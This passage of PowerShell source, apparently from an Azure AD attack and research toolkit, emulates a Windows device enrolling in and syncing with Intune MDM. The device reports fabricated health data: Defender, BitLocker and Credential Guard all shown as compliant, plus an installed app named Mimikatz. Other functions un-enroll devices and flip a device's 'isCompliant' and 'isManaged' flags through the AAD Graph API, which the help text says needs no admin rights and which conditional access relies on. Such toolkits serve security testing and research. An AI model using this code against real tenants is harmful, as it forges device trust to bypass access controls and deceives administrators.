<CSP Node="./cimv2/MDM_VpnApplicationTrigger" Version="1.0"/>
<CSP Node="./cimv2/MDM_VpnConnection" Version="1.0"/>
<CSP Node="./cimv2/MDM_WNSChannel" Version="1.0"/>
<CSP Node="./cimv2/MDM_WNSConfiguration" Version="1.0"/>
<CSP Node="./cimv2/MDM_WebApplication" Version="1.0"/>
<CSP Node="./cimv2/MDM_WirelessProfile" Version="1.0"/>
<CSP Node="./cimv2/MDM_WirelessProfileXml" Version="1.0"/>
<CSP Node="./cimv2/MSFT_NetFirewallProfile" Version="1.0"/>
<CSP Node="./cimv2/MSFT_VpnConnection" Version="1.0"/>
<CSP Node="./cimv2/Win32_DisplayConfiguration" Version="1.0"/>
<CSP Node="./cimv2/Win32_EncryptableVolume" Version="1.0"/>
<CSP Node="./cimv2/Win32_InfraredDevice" Version="1.0"/>
<CSP Node="./cimv2/Win32_LocalTime" Version="1.0"/>
<CSP Node="./cimv2/Win32_LogicalDisk" Version="1.0"/>
<CSP Node="./cimv2/Win32_NetworkAdapter" Version="1.0"/>
<CSP Node="./cimv2/Win32_NetworkAdapterConfiguration" Version="1.0"/>
<CSP Node="./cimv2/Win32_OperatingSystem" Version="1.0"/>
<CSP Node="./cimv2/Win32_PhysicalMemory" Version="1.0"/>
<CSP Node="./cimv2/Win32_PnPDevice" Version="1.0"/>
<CSP Node="./cimv2/Win32_PortableBattery" Version="1.0"/>
<CSP Node="./cimv2/Win32_Processor" Version="1.0"/>
<CSP Node="./cimv2/Win32_QuickFixEngineering" Version="1.0"/>
<CSP Node="./cimv2/Win32_Registry" Version="1.0"/>
<CSP Node="./cimv2/Win32_Service" Version="1.0"/>
<CSP Node="./cimv2/Win32_Share" Version="1.0"/>
<CSP Node="./cimv2/Win32_SystemBIOS" Version="1.0"/>
<CSP Node="./cimv2/Win32_SystemEnclosure" Version="1.0"/>
<CSP Node="./cimv2/Win32_TimeZone" Version="1.0"/>
<CSP Node="./cimv2/Win32_UTCTime" Version="1.0"/>
<CSP Node="./cimv2/Win32_WindowsUpdateAgentVersion" Version="1.0"/>
<CSP Node="./cimv2/WpcAppOverride" Version="1.0"/>
<CSP Node="./cimv2/WpcGameOverride" Version="1.0"/>
<CSP Node="./cimv2/WpcGamesSettings" Version="1.0"/>
<CSP Node="./cimv2/WpcRating" Version="1.0"/>
<CSP Node="./cimv2/WpcRatingsDescriptor" Version="1.0"/>
<CSP Node="./cimv2/WpcRatingsSystem" Version="1.0"/>
<CSP Node="./cimv2/WpcSystemSettings" Version="1.0"/>
<CSP Node="./cimv2/WpcURLOverride" Version="1.0"/>
<CSP Node="./cimv2/WpcUserSettings" Version="1.0"/>
<CSP Node="./cimv2/WpcWebSettings" Version="1.0"/>
</CSPVersions>
</Capabilities>
</DeviceManageability>
"@
}
Process
{
if(!$Certificate)
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
# Initialise some variables
#$sessionId = 1
$msgId = 1 # Increased by one per message
$hwId = (Convert-ByteArrayToHex -Bytes ([System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([text.encoding]::UTF8.GetBytes($DeviceName)))).ToUpper()
$encDeviceName=[System.Web.HttpUtility]::HtmlEncode($DeviceName)
$tenantId = (New-Guid).ToString()
# The default settings
$settings = @{
"./cimv2/Win32_OperatingSystem" = "Win32_OperatingSystem=@"
"./cimv2/Win32_LogicalDisk" = "Win32_LogicalDisk.DeviceID=""C:""/Win32_LogicalDisk.DeviceID=""D:"""
"./cimv2/Win32_OperatingSystem/Win32_OperatingSystem%3D%40/SystemDrive" = "C:"
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22AccountId%22/SettingValue" = "36684b40-1895-4ebf-b11d-b465be552b2f"
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName3D%22AccountId%22/SettingValue" = "36684b40-1895-4ebf-b11d-b465be552b2f"
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientHealthStatus%22/SettingValue" = ""
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientDeploymentErrorCode%22/SettingValue" = ""
"./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22ClientHealthLastSyncTime%22/SettingValue" = ""
"./DevInfo/DevId" = $DeviceName
"./DevInfo/Man" = "Microsoft Corporation"
"./DevInfo/Mod" = "Virtual Machine"
"./DevInfo/DmV" = "1.3"
"./DevInfo/Lang" = "en-US"
"./DevDetail/SwV" = "10.0.18363.1016"
"./DevDetail/FwV" = "Hyper-V UEFI Release v4.0"
"./DevDetail/HwV" = "Hyper-V UEFI Release v4.0"
"./DevDetail/OEM" = "Microsoft Corporation"
"./DevDetail/DevTyp" = "Virtual Machine"
"./DevDetail/Ext/Microsoft/LocalTime" = "$((Get-Date).ToString("yyyy-MM-ddTHH:mm:ss").Replace(".",":")).$((Get-Date).ToString("fffffffK"))"
"./DevDetail/Ext/Microsoft/DeviceName" = $encDeviceName
"./DevDetail/Ext/Microsoft/DNSComputerName" = $encDeviceName
"./DevDetail/Ext/Microsoft/OSPlatform" = "Windows 10 Enterprise"
"./DevDetail/Ext/Microsoft/ProcessorArchitecture" = "9"
"./DevDetail/Ext/Microsoft/ProcessorType" = "8664"
"./DevDetail/Ext/Microsoft/TotalRAM" = "1"
"./DevDetail/Ext/Microsoft/TotalStorage" = "1"
"./DevDetail/Ext/Microsoft/SMBiosSerialNumber" = "0000-0000-0000-0000-0000-0000-00"
"./DevDetail/Ext/Microsoft/MobileID" = "Not Present"
"./Vendor/MSFT/eUICCs" = "com.microsoft/1.2/MDM/eUICCs"
"./Vendor/MSFT/EnterpriseModernAppManagement/AppManagement/nonStore" = "Mimikatz"
"./Vendor/MSFT/EnterpriseModernAppManagement/AppManagement/AppStore" = ""
"./Vendor/MSFT/NodeCache/MS%20DM%20Server" = "CacheVersion/Nodes/ChangedNodes/ChangedNodesData"
"./Vendor/MSFT/NodeCache/MS%20DM%20Server/CacheVersion" = ""
"./Vendor/MSFT/NodeCache/MS%20DM%20Server/ChangedNodes" = ""
"./Vendor/MSFT/WindowsLicensing/Edition" = "4"
"./Vendor/MSFT/WindowsLicensing/Status" = "3" # Completed
"./Vendor/MSFT/WindowsLicensing/SMode/Status" = "0" # Successfully switched out of S mode
"./Vendor/MSFT/Update/LastSuccessfulScanTime" = (Get-Date).AddMinutes(-10).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
"./Vendor/MSFT/Update/InstallableUpdates" = ""
"./Vendor/MSFT/Update/PendingRebootUpdates" = ""
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers" = "000000000000"
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IPAddressV4" = "192.168.0.2"
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IPAddressV6" = ""
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/IsConnected" = "true"
"./Vendor/MSFT/DeviceStatus/NetworkIdentifiers/000000000000/Type" = "1" # 1=LAN, 2=WLAN
"./Vendor/MSFT/DeviceStatus/OS/Mode" = "0"
"./Vendor/MSFT/DeviceStatus/OS/Edition" = "4"
"./Vendor/MSFT/DeviceStatus/CellularIdentities" = ""
"./Vendor/MSFT/DeviceStatus/Compliance/EncryptionCompliance" = "true"
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/UsePassportForWork" = "true"
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/RequireSecurityDevice" = "true"
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/MinimumPINLength" = "6"
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/MaximumPINLength" = "127"
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/UppercaseLetters" = "1" # 0=allowed, 1=required, 2=not allowed
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/LowercaseLetters" = "1" # 0=allowed, 1=required, 2=not allowed
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/SpecialCharacters" = "1" # 0=allowed, 1=required, 2=not allowed
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/Digits" = "1" # 0=allowed, 1=required, 2=not allowed
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/History" = "1" # 0=allowed, 1=required, 2=not allowed
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/PINComplexity/Expiration" = "50" # 0-50
"./Vendor/MSFT/PassportForWork/$tenantId/Policies/Remote/UseRemotePassport" = "false"
"./Vendor/MSFT/PassportForWork/Biometrics/UseBiometrics" = "true"
"./Vendor/MSFT/PassportForWork/Biometrics/FacialFeaturesUseEnhancedAntiSpoofing" = "true"
"./Vendor/MSFT/DeviceStatus/TPM/SpecificationVersion" = "2.0"
"./Vendor/MSFT/DeviceStatus/DomainName" = ""
"./Vendor/MSFT/DeviceStatus/DeviceGuard/LsaCfgCredGuardStatus" = "0" # Running
"./Vendor/MSFT/DeviceStatus/DeviceGuard/VirtualizationBasedSecurityHwReq" = "0" # System meets hardware configuration requirements
"./Vendor/MSFT/DeviceStatus/DeviceGuard/VirtualizationBasedSecurityStatus" = "0" # Running
"./Vendor/MSFT/DeviceStatus/Battery/EstimatedRuntime" = "-1" # AC connected
"./Vendor/MSFT/DeviceStatus/Battery/EstimatedChargeRemaining" = "-1" # AC
"./Vendor/MSFT/DeviceInstanceService/PhoneNumber" = "1234567890"
"./Vendor/MSFT/Defender/Detections" = ""
"./Vendor/MSFT/Defender/Health" = "ProductStatus/ComputerState/DefenderEnabled/RtpEnabled/NisEnabled/QuickScanOverdue/FullScanOverdue/SignatureOutOfDate/RebootRequired/FullScanRequired/EngineVersion/SignatureVersion/DefenderVersion/QuickScanTime/FullScanTime/QuickScanSigVersion/FullScanSigVersion/TamperProtectionEnabled/IsVirtualMachine"
"./Vendor/MSFT/Defender/Health/ProductStatus" = "0"
"./Vendor/MSFT/Defender/Health/ComputerState" = "0"
"./Vendor/MSFT/Defender/Health/TamperProtectionEnabled" = "true"
"./Vendor/MSFT/Defender/Health/DefenderEnabled" = "true"
"./Vendor/MSFT/Defender/Health/RtpEnabled" = "true"
"./Vendor/MSFT/Defender/Health/NisEnabled" = "true"
"./Vendor/MSFT/Defender/Health/QuickScanOverdue" = "false"
"./Vendor/MSFT/Defender/Health/FullScanOverdue" = "false"
"./Vendor/MSFT/Defender/Health/SignatureOutOfDate" = "false"
"./Vendor/MSFT/Defender/Health/RebootRequired" = "false"
"./Vendor/MSFT/Defender/Health/FullScanRequired" = "false"
"./Vendor/MSFT/Defender/Health/EngineVersion" = "1.1.17400.5"
"./Vendor/MSFT/Defender/Health/SignatureVersion" = "1.323.410.0"
"./Vendor/MSFT/Defender/Health/DefenderVersion" = "4.18.2008.9"
"./Vendor/MSFT/Defender/Health/QuickScanTime" = (Get-Date).AddHours(-1).ToUniversalTime().ToString("MM/dd/yyyy HH:mm:ss UTC")
"./Vendor/MSFT/Defender/Health/FullScanTime" = (Get-Date).AddHours(-2).ToUniversalTime().ToString("MM/dd/yyyy HH:mm:ss UTC")
"./Vendor/MSFT/Defender/Health/QuickScanSigVersion" = "1.321.2151.0"
"./Vendor/MSFT/Defender/Health/FullScanSigVersion" = "1.321.2151.0"
"./Vendor/MSFT/Defender/Health/IsVirtualMachine" = "true"
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDMID" = "0"
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDeviceName" = "$encDeviceName mgmt"
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/AADResourceID" = "https://manage.microsoft.com"
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Poll/IntervalForRemainingScheduledRetries" = "480"
"./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Poll/PollOnLogin" = "false"
"./Vendor/MSFT/DMClient/HWDevID" = $hwId
"./Vendor/MSFT/HealthAttestation/Status" = "3" # DHA-Data is ready for pic up
"./Vendor/MSFT/Update/FailedUpdates" = ""
"./Vendor/MSFT/Office/Installation/CurrentStatus" = "" # XML of current Office 365 installation status on the device
"./Device/Vendor/MSFT/DeviceManageability/Capabilities/CSPVersions" = [Security.SecurityElement]::Escape($CSPVersions)
"./Device/Vendor/MSFT/BitLocker/Status/DeviceEncryptionStatus" = "0" # Compliant
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/IsSyncDone" = "true"
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/SkipDeviceStatusPage" = "true"
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/SkipUserStatusPage" = "true"
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/TimeOutUntilSyncFailure" = "60"
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/ServerHasFinishedProvisioning" = "true"
"./Device/Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/FirstSyncStatus/WasDeviceSuccessfullyProvisioned" = "1" # 0=failure, 1=success, 2=in progress
}
# Initial commands
$commands = @()
$commands += New-Object psobject -Property @{"Type" = "Alert"; "Data" = "1201"; CmdID = 1 }
$commands += New-Object psobject -Property @{"Type" = "Alert"; "Data" = "1224"; CmdID = 2 ; "ItemData"= ($Scope.ToLower()) ; "MetaType"="com.microsoft/MDM/LoginStatus"}
$attr = [ordered]@{
Type = "Replace"
CmdID = 3
Items = @{
"./DevInfo/DevId" = $DeviceName
"./DevInfo/Man" = "Microsoft Corporation"
"./DevInfo/Mod" = "Virtual Machine"
"./DevInfo/DmV" = "1.3"
"./DevInfo/Lang" = "en-US"
}
}
$commands += New-Object psobject -Property $attr
# Keep looping until no more commands than <Status>
while($commands.count -ge 1)
{
$f=$msgId
Write-Verbose "=> Sending message ($f) with $($commands.Count) commands."
$req = New-SyncMLRequest -commands $commands -DeviceName $encDeviceName -SessionID $sessionId -MsgID ($msgId++)
# Debug
if($DebugPreference)
{
$req | set-content "req$f.xml"
}
$res = Invoke-SyncMLRequest -SyncML $req -Certificate $Certificate
# Debug
if($DebugPreference)
{
$res.OuterXml | set-content "res$f.xml"
}
$commands = Parse-SyncMLResponse -SyncML $res
Write-Verbose " Received response ($f) with $($commands.Count) commands."
# Response to all with 400 - bad request (except for the things at settings)
$commands = New-SyncMLAutoresponse -DeviceName $DeviceName -Commands $commands -MsgID $msgId -Settings $settings
}
}
}
# Remove the device from intune
# Sep 7th
function Remove-DeviceFromIntune
{
<#
.SYNOPSIS
Removes (un-enrolls) the given device from Intune.
.DESCRIPTION
Removes the given device to from Intune.
.Parameter Certificate
x509 certificate of the device.
.Parameter PfxFileName
File name of the .pfx certificate of the device.
.Parameter PfxPassword
The password of the .pfx certificate of the device.
.EXAMPLE
Remove-AADIntAccessDeviceFromIntune -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword
)
Process
{
if(!$Certificate)
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
# Get the device id from the certificate
$deviceId = $Certificate.Subject.Split("=")[1]
$requestId = (New-Guid).ToString()
$headers=@{
"Accept" = "application/json1"
"Accept-Charset" = "UTF-8"
"User-Agent" = "Dsreg/10.0 (Windows 10.0.18363.0)"
"ocp-adrs-client-name" = "Dsreg"
"ocp-adrs-client-version" = "10.0.18362.0"
"return-client-request-id" = "true"
"client-Request-Id" = $requestId
}
try
{
Write-Verbose "Removing device $deviceId from Intune. Request Id: $requestId"
$response = Invoke-WebRequest -UseBasicParsing -Certificate $Certificate -Method Delete -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/$($deviceId)?api-version=1.0" -Headers $headers -ErrorAction SilentlyContinue
Write-Verbose "Device $deviceId removed from Intune."
}
catch
{
if($_.ErrorDetails.Message)
{
throw ($_.ErrorDetails.Message | Convertfrom-Json).message
}
else
{
throw "Remove failed! $($_.message)"
}
}
return $response
}
}
# Get's device compliance
# Sep 11th 2020
function Get-DeviceCompliance
{
<#
.SYNOPSIS
Gets the device compliance status.
.DESCRIPTION
Gets the user's device compliance status using AAD Graph API. Does not require admin rights!
.Parameter AccessToken
The access token used to set the compliance.
.Parameter DeviceId
Azure AD device id of the device.
.Parameter ObjectId
Azure AD object id of the device.
.Parameter All
Returns all devices.
.Parameter My
Returns all user's devices.
.EXAMPLE
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C\:>Get-AADIntDeviceCompliance -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7"
displayName : SixByFour
objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0
deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7
isCompliant : False
isManaged : True
deviceOwnership : Company
.EXAMPLE
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C\:>Get-AADIntDeviceCompliance -My | ft
displayName objectId deviceId isCompliant isManaged deviceOwnership deviceTrustType
----------- -------- -------- ----------- --------- --------------- ---------------
SixByFour 2eaa21a1-6362-4d3f-afc4-597592217ef0 d03994c9-24f8-41ba-a156-1805998d6dc7 False True Company AzureAd
DESKTOP-X4LCS 8ba68233-4d2b-4331-8b8b-27bc53204d8b c9dcde64-5d0f-4b3c-b711-cb6947837dc2 False True Company ServerAd
SM-1234 c00af9fe-108e-446b-aeee-bf06262973dc 74080692-fb38-4a7b-be25-27d9cbf95705 Personal AzureAd
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(ParameterSetName='DeviceID',Mandatory=$True)]
[String]$DeviceId,
[Parameter(ParameterSetName='ObjectID',Mandatory=$True)]
[String]$ObjectId,
[Parameter(ParameterSetName='All',Mandatory=$True)]
[Switch]$All,
[Parameter(ParameterSetName='My',Mandatory=$True)]
[Switch]$My
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$parsedToken = Read-Accesstoken -AccessToken $AccessToken
$tenantId = $parsedToken.tid
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Accept" = "application/json;odata=nometadata"
}
# Get the object Id if not given
if(!$All -and !$My -and [string]::IsNullOrEmpty($ObjectId))
{
$ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken
}
$select="`$select=displayName,objectId,deviceId,isCompliant,isManaged,deviceOwnership,deviceManagementAppId,deviceTrustType,onPremisesSecurityIdentifier"
if($All)
{
$url="https://graph.windows.net/$tenantId/devices?$select&api-version=1.61-internal"
}
elseif($My)
{
$url="https://graph.windows.net/Me/ownedDevices?$select&api-version=1.61-internal"
}
else
{
$url="https://graph.windows.net/$tenantId/devices/$($ObjectId)?$select&api-version=1.61-internal"
}
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url -Headers $headers
if($response.value)
{
return $response.value
}
else
{
return $response
}
}
}
# Set's device compliance
# Sep 11th 2020
function Set-DeviceCompliant
{
<#
.SYNOPSIS
Sets the device compliant.
.DESCRIPTION
Sets the user's device compliant using AAD Graph API. Does not require admin rights.
Compliant and managed statuses can be used in conditional access (CA) rules.
.Parameter AccessToken
The access token used to set the compliance.
.Parameter DeviceId
Azure AD device id of the device.
.Parameter ObjectId
Azure AD object id of the device.
.EXAMPLE
Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C\:>Set-AADIntDeviceCompliant -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7"
displayName : SixByFour
objectId : 2eaa21a1-6362-4d3f-afc4-597592217ef0
deviceId : d03994c9-24f8-41ba-a156-1805998d6dc7
isCompliant : True
isManaged : True
deviceOwnership :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(ParameterSetName='DeviceID',Mandatory=$True)]
[String]$DeviceId,
[Parameter(ParameterSetName='ObjectID',Mandatory=$True)]
[String]$ObjectId,
[Switch]$Compliant,
[Switch]$Managed,
[Switch]$Intune
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
$parsedToken = Read-Accesstoken -AccessToken $AccessToken
$tenantId = $parsedToken.tid
$body=@{}
if($Compliant) {$body["isCompliant"] = "true"}
if($Managed) {$body["isManaged"] = "true"}
if($Intune) {$body["deviceManagementAppId"] = "0000000a-0000-0000-c000-000000000000"}
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Get the object Id if not given
if([string]::IsNullOrEmpty($ObjectId))
{
$ObjectId = Get-DeviceObjectId -DeviceId $DeviceId -TenantId $tenantId -AccessToken $AccessToken
}
# Set the device compliance
Invoke-RestMethod -UseBasicParsing -Method Patch -Uri "https://graph.windows.net/$tenantId/devices/$ObjectId`?api-version=1.61-internal" -Headers $headers -Body ($body|ConvertTo-Json) -ContentType "application/json"
Get-DeviceCompliance -ObjectId $ObjectId -AccessToken $AccessToken
}
}
+742
View File
@@ -0,0 +1,742 @@
# This file contains utility functions for Intune MDM
# Get MDM discovery information
# Aug 20th
function Get-MDMEnrollmentService
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UserName="user@alt.none"
)
Process
{
$messageId = $(New-Guid).ToString()
$deviceType = "CIMClient_Windows"
$applicationVersion = "10.0.18363.0"
$OSEdition = "4"
$body=@"
<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/management/2012/01/enrollment/IDiscoveryService/Discover</a:Action>
<a:MessageID>urn:uuid:$messageId</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">https://enrollment.manage.microsoft.com:443/enrollmentserver/discovery.svc</a:To>
</s:Header>
<s:Body>
<Discover xmlns="http://schemas.microsoft.com/windows/management/2012/01/enrollment">
<request xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<EmailAddress>$UserName</EmailAddress>
<RequestVersion>4.0</RequestVersion>
<DeviceType>$deviceType</DeviceType>
<ApplicationVersion>$applicationVersion</ApplicationVersion>
<OSEdition>$OSEdition</OSEdition>
<AuthPolicies>
<AuthPolicy>OnPremise</AuthPolicy>
<AuthPolicy>Federated</AuthPolicy>
</AuthPolicies>
</request>
</Discover>
</s:Body>
</s:Envelope>
"@
$headers=@{
"Content-Type" = "application/soap+xml; charset=utf-8"
"User-Agent" = "ENROLLClient"
}
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://enrollment.manage.microsoft.com/enrollmentserver/discovery.svc" -Body $body -ContentType "application/soap+xml; charset=utf-8" -Headers $headers
# Get the data
$activityId = $response.Envelope.Header.ActivityId.'#text'
$serviceUri = $response.Envelope.Body.DiscoverResponse.DiscoverResult.EnrollmentServiceUrl
if(!$serviceUri.EndsWith($activityId))
{
$serviceUri += "?client-request-id=$activityId"
}
# Return
return $serviceUri
}
}
# Enroll device to MDM
# Aug 28th
function Enroll-DeviceToMDM
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceName,
[Parameter(Mandatory=$True)]
[bool]$BPRT
)
Process
{
# Get the claims from the access token
$claims = Read-Accesstoken -AccessToken $AccessToken
# Construct the values
$enrollmentUrl = Get-MDMEnrollmentService -UserName $claims.upn
$binarySecurityToken = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.GetBytes($AccessToken))
$HWDevID = "$($claims.deviceid)$($claims.tid)".Replace("-","")
$deviceId = $claims.deviceid.Replace("-","")
# Create a private key
$rsa = [System.Security.Cryptography.RSA]::Create(2048)
# Initialize the Certificate Signing Request object
$CN = "CN=$($claims.deviceid)"
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
# Create the signing request
$csr = Convert-ByteArrayToB64 -Bytes $req.CreateSigningRequest()
$headers=@{
"Content-Type" = "application/soap+xml; charset=utf-8"
"User-Agent" = "ENROLLClient"
}
# Create the CSR request body
$csrBody=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wst="http://docs.oasis-open.org/ws-sx/ws-trust/200512" xmlns:ac="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action>
<a:MessageID>urn:uuid:$((New-Guid).ToString())</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">$enrollmentUrl</a:To>
<wsse:Security s:mustUnderstand="1">
<wsse:BinarySecurityToken ValueType="urn:ietf:params:oauth:token-type:jwt" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">$binarySecurityToken</wsse:BinarySecurityToken>
</wsse:Security>
</s:Header>
<s:Body>
<wst:RequestSecurityToken>
<wst:TokenType>http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken</wst:TokenType>
<wst:RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</wst:RequestType>
<wsse:BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary">$csr</wsse:BinarySecurityToken>
<ac:AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization">
<ac:ContextItem Name="UXInitiated">
<ac:Value>(($BPRT -eq $false).ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="HWDevID">
<ac:Value>$HWDevID</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="BulkAADJ">
<ac:Value>$($BPRT.ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="Locale">
<ac:Value>en-US</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="TargetedUserLoggedIn">
<ac:Value>$(($BPRT -eq $false).ToString().ToLower())</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="EnrollmentData">
<ac:Value></ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="OSEdition">
<ac:Value>4</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="DeviceName">
<ac:Value>$DeviceName</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="MAC">
<ac:Value>00-00-00-00-00-00</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="DeviceID">
<ac:Value>$deviceId</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="EnrollmentType">
<ac:Value>Device</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="DeviceType">
<ac:Value>CIMClient_Windows</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="OSVersion">
<ac:Value>10.0.18363.0</ac:Value>
</ac:ContextItem>
<ac:ContextItem Name="ApplicationVersion">
<ac:Value>10.0.18363.0</ac:Value>
</ac:ContextItem>
</ac:AdditionalContext>
</wst:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
# Clean the url
$url=$enrollmentUrl.Replace(":443","")
# The user might not have the lisence
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri $url -Body $csrBody -ContentType "application/soap+xml; charset=utf-8" -Headers $headers
}
catch
{
throw $_
}
# Get the data
$binSecurityToken = $response.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse.RequestedSecurityToken.BinarySecurityToken.'#text'
$xmlSecurityToken = [xml][text.encoding]::UTF8.GetString((Convert-B64ToByteArray -B64 $binSecurityToken))
Write-Debug "BinarySecurityToken: $($xmlSecurityToken.OuterXml)"
# Get the certificates
$CA = $xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[0].characteristic.characteristic.Parm.value
$IntMedCA = $xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[1].characteristic.characteristic.Parm.value
$binCert = [byte[]](Convert-B64ToByteArray -B64 ($xmlSecurityToken.'wap-provisioningdoc'.characteristic[0].characteristic[2].characteristic.characteristic.Parm.value))
# Create a new x509certificate
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Store the private key to so that it can be exported
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
$cspParameters.ProviderType = 24
